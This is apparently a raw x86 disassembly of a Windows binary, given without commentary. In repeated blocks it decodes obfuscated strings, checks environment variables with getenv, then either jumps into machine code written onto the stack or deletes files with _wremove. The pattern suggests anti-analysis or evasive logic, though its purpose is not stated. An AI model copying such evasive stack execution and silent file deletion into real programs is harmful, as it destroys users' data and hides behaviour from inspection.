mov dword [esp], 0x4cfe70
call fcn.004013f0
mov dword [esp], 0x4dd928
call fcn.004cec60
mov ecx, 0x4e02a0
lea edi, [ebp - 0x6c]
mov esi, 0x4dd1e0
call fcn.0042e93c
mov dword [esp], 0x4e02a0
call fcn.00422510
mov ecx, 0x3b
mov dword [ebp - 0x84], 0xe580be5e
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x6c]
mov al, byte [0x4dd938]
test al, al
jne 0x4d1492
mov dword [esp], 0x4dd938
call fcn.004ceb90
test eax, eax
je 0x4d1492
mov dword [esp], esi
mov ecx, 0x4e02c0
call fcn.0042e904
push eax
mov dword [esp], 0x4cfe74
call fcn.004013f0
mov dword [esp], 0x4dd938
call fcn.004cec60
mov ecx, 0x4e02c0
call fcn.0042e8d4
mov dword [esp], 0x4e02c0
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4d14b4
lea eax, [ebp - 0x84]
call eax
mov eax, dword [ebp - 0xec]
mov ecx, esi
mov dword [esp], eax
call fcn.004c1328
push eax
lea eax, [ebp - 0xe4]
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.0042e010
mov ecx, ebx
call fcn.004bd270
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd940]
test al, al
jne 0x4d152f
mov dword [esp], 0x4dd940
call fcn.004ceb90
test eax, eax
je 0x4d152f
mov dword [esp], ebx
mov ecx, 0x4e0300
call fcn.0042e96c
push edi
mov dword [esp], 0x4cfe80
call fcn.004013f0
mov dword [esp], 0x4dd940
call fcn.004cec60
mov ecx, 0x4e0300
call fcn.0042e93c
mov dword [esp], 0x4e0300
call fcn.00422510
lea edi, [ebp - 0x6c]
mov esi, 0x4dd1e0
lea ebx, [ebp - 0x6c]
mov ecx, 0x3b
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x84], 0xf990c662
mov al, byte [0x4dd948]
test al, al
jne 0x4d15a0
mov dword [esp], 0x4dd948
call fcn.004ceb90
test eax, eax
je 0x4d15a0
mov dword [esp], ebx
mov ecx, 0x4e0320
call fcn.0042e904
push esi
mov dword [esp], 0x4cfe84
call fcn.004013f0
mov dword [esp], 0x4dd948
call fcn.004cec60
mov ecx, 0x4e0320
call fcn.0042e8d4
mov dword [esp], 0x4e0320
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d15df
mov eax, dword [ebp - 0xf0]
mov ecx, ebx
mov dword [esp], eax
call fcn.004c1328
push ecx
lea eax, [ebp - 0xcc]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0042e010
jmp 0x4d15e9
lea eax, [ebp - 0x84]
call eax
jmp 0x4d15ba
mov ecx, ebx
call fcn.004bd270
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd950]
test al, al
jne 0x4d1641
mov dword [esp], 0x4dd950
call fcn.004ceb90
test eax, eax
je 0x4d1641
mov dword [esp], ebx
mov ecx, 0x4e0360
call fcn.0042e96c
push edx
mov dword [esp], 0x4cfe90
call fcn.004013f0
mov dword [esp], 0x4dd950
call fcn.004cec60
mov ecx, 0x4e0360
call fcn.0042e93c
mov dword [esp], 0x4e0360
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0x84], 0xda0ce66
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd958]
test al, al
jne 0x4d16ae
mov dword [esp], 0x4dd958
call fcn.004ceb90
test eax, eax
je 0x4d16ae
mov dword [esp], ebx
mov ecx, 0x4e0380
call fcn.0042e904
push eax
mov dword [esp], 0x4cfe94
call fcn.004013f0
mov dword [esp], 0x4dd958
call fcn.004cec60
mov ecx, 0x4e0380
call fcn.0042e8d4
mov dword [esp], 0x4e0380
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d16f0
mov eax, dword [ebp - 0xf4]
lea esi, [ebp - 0x6c]
mov ecx, esi
mov dword [esp], eax
call fcn.004c1328
push eax
lea eax, [ebp - 0xb4]
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.0042e010
jmp 0x4d16fa
lea eax, [ebp - 0x84]
call eax
jmp 0x4d16c8
mov ecx, ebx
call fcn.004bd270
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd960]
test al, al
jne 0x4d1752
mov dword [esp], 0x4dd960
call fcn.004ceb90
test eax, eax
je 0x4d1752
mov dword [esp], ebx
mov ecx, 0x4e03c0
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfea0
call fcn.004013f0
mov dword [esp], 0x4dd960
call fcn.004cec60
mov ecx, 0x4e03c0
call fcn.0042e93c
mov dword [esp], 0x4e03c0
call fcn.00422510
lea edi, [ebp - 0x6c]
mov esi, 0x4dd1e0
lea ebx, [ebp - 0x6c]
mov ecx, 0x3b
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x84], 0x21b0d66a
mov al, byte [0x4dd968]
test al, al
jne 0x4d17c3
mov dword [esp], 0x4dd968
call fcn.004ceb90
test eax, eax
je 0x4d17c3
mov dword [esp], ebx
mov ecx, 0x4e03e0
call fcn.0042e904
push eax
mov dword [esp], 0x4cfea4
call fcn.004013f0
mov dword [esp], 0x4dd968
call fcn.004cec60
mov ecx, 0x4e03e0
call fcn.0042e8d4
mov dword [esp], 0x4e03e0
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d17e8
cmp dword [ebp - 0xc8], 0
jne 0x4d17fc
jmp 0x4d17f2
lea eax, [ebp - 0x84]
call eax
jmp 0x4d17dd
call fcn.00421798
jmp 0x4d1df4
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd978]
test al, al
jne 0x4d184d
mov dword [esp], 0x4dd978
call fcn.004ceb90
test eax, eax
je 0x4d184d
mov dword [esp], ebx
mov ecx, 0x4e0460
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfeb0
call fcn.004013f0
mov dword [esp], 0x4dd978
call fcn.004cec60
mov ecx, 0x4e0460
call fcn.0042e93c
mov dword [esp], 0x4e0460
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0x84], 0x35c0de6e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd980]
test al, al
jne 0x4d18ba
mov dword [esp], 0x4dd980
call fcn.004ceb90
test eax, eax
je 0x4d18ba
mov dword [esp], ebx
mov ecx, 0x4e0480
call fcn.0042e904
push edi
mov dword [esp], 0x4cfeb4
call fcn.004013f0
mov dword [esp], 0x4dd980
call fcn.004cec60
mov ecx, 0x4e0480
call fcn.0042e8d4
mov dword [esp], 0x4e0480
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d18e5
mov eax, dword [ebp - 0xf0]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__wremove]
jmp 0x4d18ef
lea eax, [ebp - 0x84]
call eax
jmp 0x4d18d4
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd988]
test al, al
jne 0x4d1940
mov dword [esp], 0x4dd988
call fcn.004ceb90
test eax, eax
je 0x4d1940
mov dword [esp], ebx
mov ecx, 0x4e04c0
call fcn.0042e96c
push esi
mov dword [esp], 0x4cfec4
call fcn.004013f0
mov dword [esp], 0x4dd988
call fcn.004cec60
mov ecx, 0x4e04c0
call fcn.0042e93c
mov dword [esp], 0x4e04c0
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0x84], 0x49d0e672
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd990]
test al, al
jne 0x4d19ad
mov dword [esp], 0x4dd990
call fcn.004ceb90
test eax, eax
je 0x4d19ad
mov dword [esp], ebx
mov ecx, 0x4e04e0
call fcn.0042e904
push ecx
mov dword [esp], 0x4cfec8
call fcn.004013f0
mov dword [esp], 0x4dd990
call fcn.004cec60
mov ecx, 0x4e04e0
call fcn.0042e8d4
mov dword [esp], 0x4e04e0
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d19d8
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__wremove]
jmp 0x4d19e2
lea eax, [ebp - 0x84]
call eax
jmp 0x4d19c7
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd998]
test al, al
jne 0x4d1a33
mov dword [esp], 0x4dd998
call fcn.004ceb90
test eax, eax
je 0x4d1a33
mov dword [esp], ebx
mov ecx, 0x4e0520
call fcn.0042e96c
push edx
mov dword [esp], 0x4cfed4
call fcn.004013f0
mov dword [esp], 0x4dd998
call fcn.004cec60
mov ecx, 0x4e0520
call fcn.0042e93c
mov dword [esp], 0x4e0520
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0x84], 0x5de0ee76
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd9a0]
test al, al
jne 0x4d1aa0
mov dword [esp], 0x4dd9a0
call fcn.004ceb90
test eax, eax
je 0x4d1aa0
mov dword [esp], ebx
mov ecx, 0x4e0540
call fcn.0042e904
push eax
mov dword [esp], 0x4cfed8
call fcn.004013f0
mov dword [esp], 0x4dd9a0
call fcn.004cec60
mov ecx, 0x4e0540
call fcn.0042e8d4
mov dword [esp], 0x4e0540
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d1acb
mov eax, dword [ebp - 0xec]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__wremove]
jmp 0x4d1ad5
lea eax, [ebp - 0x84]
call eax
jmp 0x4d1aba
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd9a8]
test al, al
jne 0x4d1b26
mov dword [esp], 0x4dd9a8
call fcn.004ceb90
test eax, eax
je 0x4d1b26
mov dword [esp], ebx
mov ecx, 0x4e0580
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfee4
call fcn.004013f0
mov dword [esp], 0x4dd9a8
call fcn.004cec60
mov ecx, 0x4e0580
call fcn.0042e93c
mov dword [esp], 0x4e0580
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0x84], 0x71f0f67a
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd9b0]
test al, al
jne 0x4d1b93
mov dword [esp], 0x4dd9b0
call fcn.004ceb90
test eax, eax
je 0x4d1b93
mov dword [esp], ebx
mov ecx, 0x4e05a0
call fcn.0042e904
push eax
mov dword [esp], 0x4cfee8
call fcn.004013f0
mov dword [esp], 0x4dd9b0
call fcn.004cec60
mov ecx, 0x4e05a0
call fcn.0042e8d4
mov dword [esp], 0x4e05a0
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d1bca
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd9b8]
test al, al
jne 0x4d1c0a
jmp 0x4d1bd4
lea eax, [ebp - 0x84]
call eax
jmp 0x4d1bad
mov dword [esp], 0x4dd9b8
call fcn.004ceb90
test eax, eax
je 0x4d1c0a
mov dword [esp], ebx
mov ecx, 0x4e05e0
call fcn.0042e96c
push eax
mov dword [esp], 0x4cfef4
call fcn.004013f0
mov dword [esp], 0x4dd9b8
call fcn.004cec60
mov ecx, 0x4e05e0
call fcn.0042e93c
mov dword [esp], 0x4e05e0
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
mov edi, ebx
mov dword [ebp - 0x84], 0x8500fe7e
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd9c0]
test al, al
jne 0x4d1c77
mov dword [esp], 0x4dd9c0
call fcn.004ceb90
test eax, eax
je 0x4d1c77
mov dword [esp], ebx
mov ecx, 0x4e0600
call fcn.0042e904
push eax
mov dword [esp], 0x4cff04
call fcn.004013f0
mov dword [esp], 0x4dd9c0
call fcn.004cec60
mov ecx, 0x4e0600
call fcn.0042e8d4
mov dword [esp], 0x4e0600
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d1cb9
lea eax, [ebp - 0xe4]
lea ecx, [ebp - 0x6c]
mov dword [esp], eax
call fcn.004bcba0
push edi
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x84]
mov dword [esp], eax
call fcn.004bcba0
jmp 0x4d1cc3
lea eax, [ebp - 0x84]
call eax
jmp 0x4d1c91
push esi
lea eax, [ebp - 0xb4]
lea edi, [ebp - 0x9c]
mov ecx, edi
mov dword [esp], eax
call fcn.004bcba0
push ecx
lea eax, [ebp - 0x84]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00420464
mov ecx, edi
call fcn.004b8e40
lea ecx, [ebp - 0x84]
call fcn.004b8e40
mov ecx, ebx
call fcn.004b8e40
mov dword [ebp - 0x6c], 0xc1eb1542
mov dword [ebp - 0x68], 0x7c90ec48
mov byte [ebp - 0x64], 0x42
mov al, byte [0x4dd9c8]
test al, al
jne 0x4d1d5b
mov dword [esp], 0x4dd9c8
call fcn.004ceb90
test eax, eax
je 0x4d1d5b
mov dword [esp], ebx
mov ecx, 0x4e0640
call fcn.0042e96c
push edx
mov dword [esp], 0x4cff10
call fcn.004013f0
mov dword [esp], 0x4dd9c8
call fcn.004cec60
mov ecx, 0x4e0640
call fcn.0042e93c
mov dword [esp], 0x4e0640
call fcn.00422510
mov esi, 0x4dd1e0
mov ecx, 0x3b
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x84], 0x99100682
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x4dd9d0]
test al, al
jne 0x4d1dcc
mov dword [esp], 0x4dd9d0
call fcn.004ceb90
test eax, eax
je 0x4d1dcc
lea eax, [ebp - 0x6c]
mov ecx, 0x4e0660
mov dword [esp], eax
call fcn.0042e904
push eax
mov dword [esp], 0x4cff14
call fcn.004013f0
mov dword [esp], 0x4dd9d0
call fcn.004cec60
mov ecx, 0x4e0660
call fcn.0042e8d4
mov dword [esp], 0x4e0660
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x4d1dea
xor eax, eax
jmp 0x4d1df4
lea eax, [ebp - 0x84]
call eax
jmp 0x4d1de6
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0xec], eax
call fcn.004b8e40
lea ecx, [ebp - 0xcc]
call fcn.004b8e40
lea ecx, [ebp - 0xe4]
call fcn.004b8e40
mov eax, dword [ebp - 0xec]
jmp 0x4d1ea2
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret